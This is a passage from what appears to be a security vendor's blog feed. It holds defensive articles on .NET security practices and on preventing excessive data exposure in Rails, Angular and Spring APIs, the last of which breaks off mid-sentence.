href=&quot;https://docs.microsoft.com/en-us/nuget/&quot;&gt;&lt;u&gt;Nuget&lt;/u&gt;&lt;/a&gt; make running untested and unverified code too dangerous. &lt;/p&gt;&lt;p&gt;If you must run untrusted code, take additional security measures such as running the application in containers or virtual environments where the unsafe code is isolated. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Verify User Input&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If you don&amp;#39;t carefully verify and sanitize user input, it can cause your application to misbehave. While .Net has mechanisms for verifying code that calls your application or library, you&amp;#39;re on your own when it comes to user-specified information. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s a brief list of checks you should make against user data: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Always verify and sanitize URIs. Be careful of: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Relative paths&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Very long paths&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Any and all wildcards&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Special paths, like file://, socket://, etc.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Token expansion (%token%)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Hexadecimal and Unicode character escapes&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Nested escapes (%nn becomes %mmnn, where %mm is the escape for &amp;#39;%&amp;#39;).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;.Net&amp;#39;s &lt;i&gt;Eval()&lt;/i&gt; can execute any arbitrary code. Avoid it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Beware of late binding that may point to user-specified data.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;All of the common attacks we&amp;#39;ll examine below involve malicious input.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Verifying and cleaning user input is one of the most important security precautions you can take. &lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;&lt;b&gt;Keep Your Packages up to Date&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;.Net has a mature and robust package ecosystem. This makes it easy to keep your dependencies up-to-date with &lt;a href=&quot;https://docs.microsoft.com/en-us/nuget/&quot;&gt;&lt;u&gt;Nuget&lt;/u&gt;&lt;/a&gt;. Make checking for updates a part of maintenance. Then, rebuild and test your code with the new libraries as part of your regular release process. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Most Common .NET Security Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Finally, let&amp;#39;s wrap up by looking at four of the most common .Net Security threats. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;SQL Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A SQL injection attack is when a malicious actor takes advantage of an application that doesn&amp;#39;t properly sanitize its input. It leverages this weakness by coercing it into executing SQL statements. It&amp;#39;s a very real threat, and an improperly coded .Net application is vulnerable to it. &lt;/p&gt;&lt;p&gt;You can read about SQL injection and how to protect your .Net application &lt;a href=&quot;https://www.stackhawk.com/blog/net-sql-injection-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Cross-site Scripting (XSS)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;XSS is another type of injection attack. These attacks occur when an attacker tricks a website into running a harmful script by injecting it as—you guessed it—malicious input. XSS attacks usually leverage the &lt;b&gt;&amp;lt;script&amp;gt;&lt;/b&gt; tag, hoping the site will accept and run it. &lt;/p&gt;&lt;p&gt;You can learn more about XSS and how to protect your .Net application &lt;a href=&quot;https://www.stackhawk.com/blog/net-xss-examples-and-prevention/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Cross-Site Request Forgery (CSRF)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Cross-site request forgery is a mouthful, but the name tells you exactly what it is. It happens when a forged request from a rogue website tricks an authenticated user into running harmful code. This attack relies on a user being logged in and having access to privileged information or resources, like credit card numbers or access to a bank account. &lt;/p&gt;&lt;p&gt;When this attack works, it can be devastating. Read more about CSRF and how to protect your .Net code from it &lt;a href=&quot;https://www.stackhawk.com/blog/net-csrf-protection-guide-examples-and-how-to-enable/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;XML External Entities (XXE)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;An XML External Entities attack leverages vulnerabilities in how an app processes XML. It&amp;#39;s another type of injection attack. XML documents contain constructs that make it easy for apps to access external data. But, these mechanisms are dangerous in the wrong hands. So, an attacker can trick an application into downloading malicious code from another site. Or, it can trick a server into supplying sensitive information.  Even worse, a properly crafted document can act as a denial-of-service attack by causing a server crash. &lt;/p&gt;&lt;p&gt;We have details on XXE attacks and how to address them in .Net &lt;a href=&quot;https://www.stackhawk.com/blog/net-xml-external-entities-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;.Net Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;We started with .Net&amp;#39;s security features. Then we discussed some development best practices. Finally, we wrapped up the most common .Net security threats and supplied links to articles that will help you address them. As you can see, securing .Net applications doesn&amp;#39;t have to be hard. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;With the right information and the correct tools, you can keep your code and your users safe. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Are you responsible for delivering fast, safe, and secure .Net solutions? With our Dynamic Application Security Testing (DAST) suite, you can take the next step. Our DAST tool runs security tests against your application while it&amp;#39;s running. It&amp;#39;ll identify potential security vulnerabilities and help you fix them. So, you&amp;#39;ll have real-time, reliable, and detailed reports about the security status of your platform. The DAST suite ensures that you get the best insight and tools to provide reliable decision-making information so that you focus on delivering value, &lt;/p&gt;&lt;p&gt;You can check it out &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails Excessive Data Exposure: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-excessive-data-exposure-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;For software engineers, it may be easy to assume that no hacker would target our app since it isn&amp;#39;t big or well known. This attitude can lead to recklessness and lower measures for securing data on an app. However, it&amp;#39;s important to remember that data collected by an organization is very valuable. There can also be legal consequences in terms of lawsuits against the business that ensue from leakage of a user&amp;#39;s personally identifiable information (PII).&lt;/p&gt;&lt;h3&gt;&lt;b&gt;What Is Excessive Data Exposure?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;b&gt;Excessive data exposure&lt;/b&gt; occurs when an API response returns more data than the client needs. As a rule of thumb, if a client application needs three fields, for example, you shouldn&amp;#39;t return the whole object. Excessive data exposure is a big API security concern that should be at the top of every engineer&amp;#39;s mind when designing APIs.&lt;/p&gt;&lt;p&gt;In this post, you&amp;#39;ll learn about excessive data exposure in Ruby on Rails. By the end of the post, you&amp;#39;ll have learned about the following topics:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Levels of data sensitivity&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Examples of excessive data exposure in Ruby on Rails&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Excessive data exposure prevention measures&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Levels of Data Sensitivity&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Once data has been obtained from users, it&amp;#39;s classified according to its sensitivity in terms of the effects it could have on an organization if altered or stolen by a third party. In this section, you&amp;#39;ll learn about the four levels into which you should classify your data.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Public:&lt;/b&gt; This is data that poses no security threat when presented to the general public. This includes data such as workers&amp;#39; directories, password validation prompts, etc.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Internal:&lt;/b&gt; This is internal data that is used within the organization and would be harmful if exposed to people outside the organization. An example is email correspondence that doesn&amp;#39;t contain confidential information.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Sensitive:&lt;/b&gt; This is data that belongs to users in an organization and is highly confidential. Examples are credit card information, social security numbers, API keys, access tokens, etc.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Restricted:&lt;/b&gt; This is data that only a few members of an organization have access to, such as highly classified business information.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Now that you&amp;#39;ve learned about the different tiers of data sensitivity, in the section below, we&amp;#39;ll take a look at a sample API response in order to learn more about excessive data exposure.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Sample API Response&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;For this example, let&amp;#39;s say a gaming application API that shows a user&amp;#39;s profile may return a raw user object that looks like the code snippet below to the client application:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;At first glance, you may not notice anything wrong with the API response above. But you&amp;#39;ll see in the next section how returning this kind of raw data can lead to excessive data exposure in your Rails application.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Examples of Excessive Data Exposure&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The API response above leads to excessive data exposure in the following ways.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Returning Unfiltered Data&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The API response above returns raw unfiltered data, leaving the client app to filter out sensitive information about the user. The client application only needs the username, bio, and level fields, making the extra fields that are returned useless. In this instance, returning more data than the client application needs is a case of excessive data exposure.&lt;/p&gt;&lt;p&gt;If a hacker were to intercept this API response, they could view all the sensitive data and, worse, make a copy of the data and sell it on the dark web.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Using Auto-Incrementing Primary Keys&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A Postgres database, by default, uses auto-incrementing primary keys unless otherwise specified. Since the primary keys are sent with the URL as an ID, anyone sniffing the website traffic could access the ID, which would be a sequentially incrementing integer. It lets the third party know the order of magnitude of a database. For example, if the API to get a user&amp;#39;s data is &lt;b&gt;/user/1870&lt;/b&gt;, they know that your database has stored data for a couple of thousand users.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Returning Personally Identifiable Information in an API Response&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;PII is any data that can be used to identify a person and is never shown on a website or mobile app. PII includes the ID number, email, credit card details, social security number, home address, driver&amp;#39;s license, etc. of a person. Returning PII in an API response is a big data breach and a case of excessive data exposure. If hackers gain access to PII, this could result in lawsuits from the users when discovered, which could then lead a small company to bankruptcy. API security is extremely important for both the company and its users.&lt;/p&gt;&lt;p&gt;You&amp;#39;ve seen instances of excessive data exposure and how API design flows lead to security vulnerabilities. Therefore, in the next section, let&amp;#39;s now learn about preventive measures.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Protective Measures&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Listed below are some of the ways you can protect your Rails application against excessive data exposure.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Don&amp;#39;t Use Auto-Incrementing Primary Keys&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Since primary keys are publicly discoverable in the URLs and network logs as ID values, it&amp;#39;s better to use universally unique identifiers (&lt;a href=&quot;https://guides.rubyonrails.org/v7.0/active_record_postgresql.html#uuid&quot;&gt;&lt;u&gt;UUIDs&lt;/u&gt;&lt;/a&gt;). UUIDs are random and unique, and nobody can guess the order of magnitude of your database.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Implement Server Authorization Checks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Use the &lt;a href=&quot;https://github.com/CanCanCommunity/cancancan&quot;&gt;&lt;u&gt;CanCanCan&lt;/u&gt;&lt;/a&gt; authorization gem. It defines access rules that restrict someone from viewing somebody else&amp;#39;s record by changing the ID in the URL. The user cannot change the ID in the URL to view another user&amp;#39;s profile data unless authorized.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use Data Masking&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Data masking is used to hide sensitive information in your database, like a user&amp;#39;s email, and only display the nonsensitive information in an API response.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Encrypt Your Data&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If your app must store personally identifiable information, it should all be &lt;a href=&quot;https://guides.rubyonrails.org/active_record_encryption.html&quot;&gt;&lt;u&gt;encrypted&lt;/u&gt;&lt;/a&gt;. Encryption protects all sensitive information from prying eyes. With encryption, even if an attacker got a snapshot of your database or API response, they wouldn&amp;#39;t be able to make sense of the data.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Don&amp;#39;t Return a Raw Unfiltered API Response&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When designing APIs, use the principle of least privilege by only returning the data a user needs. Returning raw unfiltered data to a mobile or web application is never a good idea. Examine every API response, and filter out the data the user doesn&amp;#39;t need on the server before it&amp;#39;s presented to the client.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Don&amp;#39;t Store Sensitive PII Data&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Use a third party to store sensitive data. For example, for all credit card details, you should store them in a third party like &lt;a href=&quot;https://stripe.com/gb&quot;&gt;&lt;u&gt;Stripe&lt;/u&gt;&lt;/a&gt;. In this scenario, under no circumstances will the credit card details show up in any API request since you don&amp;#39;t store them in your own database.&lt;/p&gt;&lt;p&gt;You should evaluate whether your APIs are secure from what you&amp;#39;ve learned in this article. And if they&amp;#39;re not, you should consider using some of the preventive measures stated above.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this post, you learned what excessive data exposure is, the levels of data sensitivity, and examples of how you could contribute to excessive data exposure when designing your Rails APIs. Finally, you learned about the measures you need to put in place to prevent excessive data exposure.&lt;/p&gt;&lt;p&gt;Data is a very important asset to any company that should be protected at all costs. Ensuring your users&amp;#39; data is secure protects your company from losses emanating from lawsuits and protects the company image. In the case of API requests, you shouldn&amp;#39;t return all the fields stored in the database by default. Data security helps customers trust your business with their data.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Florence Njeri. &lt;/i&gt;&lt;a href=&quot;https://florencelnjeri.medium.com/&quot;&gt;&lt;i&gt;&lt;u&gt;Florence&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a Software Engineer with experience in mobile development in Kotlin and Java, backend in Ruby in Rails and Java, and front end in Vue.js and React. While not coding, you&amp;#39;ll either find her reading or hiking during the weekends.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Angular Excessive Data Exposure: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/angular-excessive-data-exposure-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;As a front-end developer, you&amp;#39;ve built tons of great features. You&amp;#39;ve handcrafted amazing UI/UX elements. You&amp;#39;ve probably also catered to security concerns in a web application. But when it comes to back-end interactions, you might feel limited in what you control, especially with respect to the data that comes back from the server. &lt;/p&gt;&lt;p&gt;Even with the utmost caution, a common yet lethal vulnerability in your application can be introduced. The reason for this could be simply because the server sends back unnecessary or extra sensitive data back to the client. This leads to excessive data exposure in your application. So what can we do about it? How can we prevent it? &lt;/p&gt;&lt;p&gt;In this post, I&amp;#39;ll show you what excessive data exposure is, and I&amp;#39;ll provide you with some examples. Then I&amp;#39;ll walk you through how you can prevent it in your Angular application.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is Excessive Data Exposure?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s say you have an Angular application that interacts with a remote back-end server to get a bunch of data for different pages. Whenever your users loads a page, you request the required data from the back end and display it to the user. So, for example, if your user is visiting an &amp;quot;offers&amp;quot; page, you display them a bunch of cool offers on your website. &lt;/p&gt;&lt;p&gt;Now, if they visit a different page, say an &amp;quot;about&amp;quot; page, you display your website&amp;#39;s &amp;quot;about&amp;quot; information fetched from an API. But are your Angular components really aware of what data each API is returning? Or are they only concerned with the data that they require in that instance? &lt;/p&gt;&lt;p&gt;I bet it&amp;#39;s the latter. This is because how your back-end APIs are structured is immaterial to your front-end codebase. So when you visited the &amp;quot;offers&amp;quot; page, maybe the API returned the offers data alongside some extra information that you&amp;#39;re not using. But wait, no big deal, right? As long as the front end receives the data it wants, everything else can be ignored, correct? &lt;/p&gt;&lt;p&gt;Not exactly. We know that browsers make it really simple to inspect network requests via the developer tools. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;The extra sensitive data that your back-end API returns can be of significant use to an attacker. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;They can use it to steal some information about your users. &lt;/p&gt;&lt;p&gt;This is called excessive data exposure. It&amp;#39;s a situation where critical and sensitive data is unnecessarily exposed by your application. If this was hard to understand, let&amp;#39;s dive deeper into it with an example. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Excessive Data Exposure: Example&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s say your Angular app is a social media application. Your users can create their own profile, share posts, etc. Let&amp;#39;s say your users can share someone&amp;#39;s profile with other users. So when you click the &lt;b&gt;Share&lt;/b&gt; button, you can see that user&amp;#39;s profile. Sounds good and safe, right? &lt;/p&gt;&lt;p&gt;But now let&amp;#39;s say that the back-end API that fetches a user&amp;#39;s data accidentally also fetches that user&amp;#39;s access token. You&amp;#39;ll probably ignore it, or you may not even notice it since you don&amp;#39;t make use of that data on the front end anywhere. However, that piece of information is sensitive, and literally anyone can extract it by inspecting the network request on that page. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s the entire flow demonstrated visually: &lt;/p&gt;&lt;p&gt;This is an example of excessive data exposure. An attacker who gains access to a user&amp;#39;s access token can easily break into their accounts. Then they can modify their information in your database. They can even gain access to data such as their passwords, bank details, etc. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Methods to Prevent Excessive Data Exposure&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;We&amp;#39;ll talk about two primary methods to prevent excessive data exposure. Each of these methods assumes a different kind of API architecture for your application. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Back End Based Prevention&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;First, if you&amp;#39;re using REST APIs, you need to refactor those APIs in terms of what data they&amp;#39;re sending back. Sometimes an API runs a query to grab all the data in a row of a table and dumps it back to the client. With this, it may send data that&amp;#39;s of no use to the client and is also considered sensitive from a security standpoint. &lt;/p&gt;&lt;p&gt;For instance, in the previous example, the API was sending back access tokens for a user. The way around this is to have the API filter out this data on the back end, either directly in the database query, if possible, or at the time of processing. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Front End Based Prevention&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;However, what happens when you&amp;#39;re using third-party APIs? Or what do you do in cases where you don&amp;#39;t want to modify your back end? Let&amp;#39;s assume your front end consumes data from GraphQL-based APIs. &lt;/p&gt;&lt;p&gt;GraphQL gives your front end full control over what data it receives and processes. You can more responsibly update your GraphQL query to only request data that you need. You can also carefully craft your query such that you don&amp;#39;t end up requesting sensitive data points that can be avoided. &lt;/p&gt;&lt;p&gt;In case you&amp;#39;re not using GraphQL for your backend APIs, you can ensure that your front end does all of the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Doesn&amp;#39;t leak sensitive data via browser storage (local storage and session storage) or cookies that can be easily spotted.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Doesn&amp;#39;t store sensitive data in local variables or in data attributes of DOM elements that can be extracted via client-side JavaScript.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensures client and server interaction happens over only HTTPS, which encrypts data by default.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;However, these are just some best practices you can adopt to add another layer of security to your front end. It doesn&amp;#39;t necessarily protect sensitive data from being exposed, since the attacker can always see such information in the network tab of the browser. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Practical Prevention of Excessive Data Exposure in Angular&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;We&amp;#39;ve seen a lot of theory, but let&amp;#39;s put it into some practice. For this tutorial, we&amp;#39;ll use an open GraphQL API called &lt;a href=&quot;https://graphqlzero.almansi.me/&quot;&gt;&lt;u&gt;GraphQLZero&lt;/u&gt;&lt;/a&gt;. If you wish to explore this API, you can do so in the GraphQL playground &lt;a href=&quot;https://graphqlzero.almansi.me/#get-started&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. You can generate the query for getting response back from the API and then update the query to see how the response changes. &lt;/p&gt;&lt;p&gt;For now, let&amp;#39;s first go ahead and create a new Angular app. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Create a New Angular App&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Inside a directory of your choice, run the following command to create a fresh Angular project: &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng new angular-excessive-data-exposure-app&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We won&amp;#39;t need routing or any additional configuration, so feel free to skip that when prompted in the CLI. Once you do that, you should have a new Angular project created for you. Now, let&amp;#39;s update its &lt;b&gt;app.component.html&lt;/b&gt; file with the following code: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Angular Excessive Data Exposure App&amp;lt;/h1&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s kickstart the Angular local development server by running the following command inside the root directory: &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng serve&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you now visit &lt;b&gt;http:///localhost:4200&lt;/b&gt;, you should see the following page: &lt;/p&gt;&lt;p&gt;Awesome! Let&amp;#39;s move ahead.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Introducing a Case of Excessive Data Exposure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;First, we&amp;#39;ll create a case of excessive data exposure by requesting extra data from the API. Head over to the &lt;b&gt;app.component.ts &lt;/b&gt;and add the following variables inside it: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;b&gt;apiUrl&lt;/b&gt; simply holds a string to the query endpoint. Then, we have a &lt;b&gt;query&lt;/b&gt; string object that we&amp;#39;ll use when we make a request to the GraphQL API. Finally, we have a &lt;b&gt;userData&lt;/b&gt; variable to store the user data that we get back from the API as response. &lt;/p&gt;&lt;p&gt;Now let&amp;#39;s make the request to the endpoint. Inside the &lt;b&gt;ngOnInit&lt;/b&gt; lifecycle method, add the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We simply use the &lt;b&gt;fetch&lt;/b&gt; API to make a request to the above GraphQL API. We also pass the &lt;b&gt;query&lt;/b&gt; string inside the JSON body. Then we process the data and store the relevant result inside the &lt;b&gt;userData&lt;/b&gt; variable. Makes sense? &lt;/p&gt;&lt;p&gt;Now, we&amp;#39;ll consume this data in our template. Head over to the &lt;b&gt;app.component.html&lt;/b&gt; file and update it with the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now go back to your app and you should see that data displayed on the page: &lt;/p&gt;&lt;p&gt;Great! Looks like you did everything correctly, right? Well, not exactly. We&amp;#39;re only using the user&amp;#39;s username, email and location fields from the response in the UI. But let&amp;#39;s inspect the entire request and response from the browser&amp;#39;s network tab: &lt;/p&gt;&lt;p&gt;Notice that we also get back the user&amp;#39;s ID. Imagine if this ID is an access or authentication token equivalent. It&amp;#39;s a sensitive piece of information that&amp;#39;s clearly not of any use here. Looks like we have an excessive data exposure vulnerability! &lt;/p&gt;&lt;h3&gt;&lt;b&gt;How to Prevent Excessive Data Exposure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Remember when I said that with GraphQL, a front end has complete control over what data it requests and what information the API sends back in response? &lt;/p&gt;&lt;p&gt;If you look closely at the query, we explicitly ask for the user&amp;#39;s ID. If we remove it from the query, the API should not send that data back at all. So let&amp;#39;s try to do that. Here&amp;#39;s what the updated &lt;b&gt;query&lt;/b&gt; string should look like: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We now no longer receive the &lt;b&gt;id&lt;/b&gt; field back. Great! We have just prevented excessive data exposure by cautiously modifying the GraphQL query. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;If you&amp;#39;re not using GraphQL but instead using REST for your back-end APIs, your front end can&amp;#39;t do a lot to protect your application from excessive data exposure. So always make sure your REST APIs are structured in such a way that they only send back the data needed. However, as wise front-end developers, you can prompt your back-end team to be more cautious about what data they&amp;#39;re sending and play your own part in responsibly preventing excessive data exposure in your application. Until next time! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;i&gt;&lt;u&gt;Siddhant&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring Excessive Data Exposure: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-excessive-data-exposure-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;An API is essentially a tool to provide an interface for the client with the software—that&amp;#39;s what they do. &lt;/p&gt;&lt;p&gt;Some of the API methods modify application state and some return data to the client. Further, some methods can do both. Once we return data to the client, we need to make sure that we return only what&amp;#39;s necessary and don&amp;#39;t expose any sensitive information. &lt;/p&gt;&lt;p&gt;This post will cover excessive data exposure in APIs with examples and prevention methods. The examples will be given in the context of the Java Spring framework. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;REST API Structure&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Usually, REST APIs follow a standard structure for the API calls. The structure usually consists of a domain name, a resource, a sub-resource, and a specific endpoint. For instance, a URL that looks like this— http://domain.com/artitsts/artist/albums/album1/song3—will allow a user to use different HTTP methods (GET, POST, PUT) to retrieve, update, and upload songs from a specific album for a specific artist. &lt;/p&gt;&lt;p&gt;Additional endpoints can be http://domain.com/artitsts/albums/album1, which will return a list of all the songs in an album, and http://domain.com/artitsts, which will return a list of items. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Structure-Sniffing Vulnerability&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The first vulnerability associated with this structure and excessive data exposure can occur if an attacker guesses or receives a list of endpoints. &lt;/p&gt;&lt;p&gt;If an endpoint that exposes sensitive data doesn’t require authentication, as explained &lt;a href=&quot;https://www.stackhawk.com/blog/spring-broken-authentication-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;, the attacker can gain access to data he&amp;#39;s not authorized to view. &lt;/p&gt;&lt;p&gt;That said, the attacker can use brute force to identify API endpoints. This can be achieved by randomly trying to generate URLs that&amp;#39;ll return a response, or by using a list of popular paths to see if the server returns a response for them. &lt;/p&gt;&lt;p&gt;For instance, a popular REST API path is /users/info. Another one is /admin. So, the attacker will create a script that checks those paths combined with a domain name—http://domain.com/users/info, http://domain.com/admin—and see if any of them returns a response. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Another Way of Sniffing API Structure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The REST API standard includes a specification called HATEOS, which basically means that every API response should return a list of links to other API endpoints that can be relevant to this specific endpoint. &lt;/p&gt;&lt;p&gt;If the API developer just blindly returns a list of all the API endpoints in the system, or returns API endpoints that should be password protected but aren&amp;#39;t, he exposes data for attackers. &lt;/p&gt;&lt;p&gt;An example of a HATEOS response, taken from the relevant &lt;a href=&quot;https://en.wikipedia.org/wiki/HATEOAS&quot;&gt;&lt;u&gt;Wikipedia&lt;/u&gt;&lt;/a&gt; entry, is &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;API Endpoint Sniffing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Another way for the attacker to gain access to sensitive information doesn&amp;#39;t even require any extra effort of sniffing for undocumented API methods. &lt;/p&gt;&lt;p&gt;If the API endpoint returns more info than required and relies on the fronted developers to filter the extra data, that basically means that for an endpoint like this—http://domain.com/users/user1—that should return some basic details like username, email, and last login date, and the server returns additional data like a full name and address. &lt;/p&gt;&lt;p&gt;The server relies on the front-end developers to filter out the unwanted information and present in the browser/app only the basic 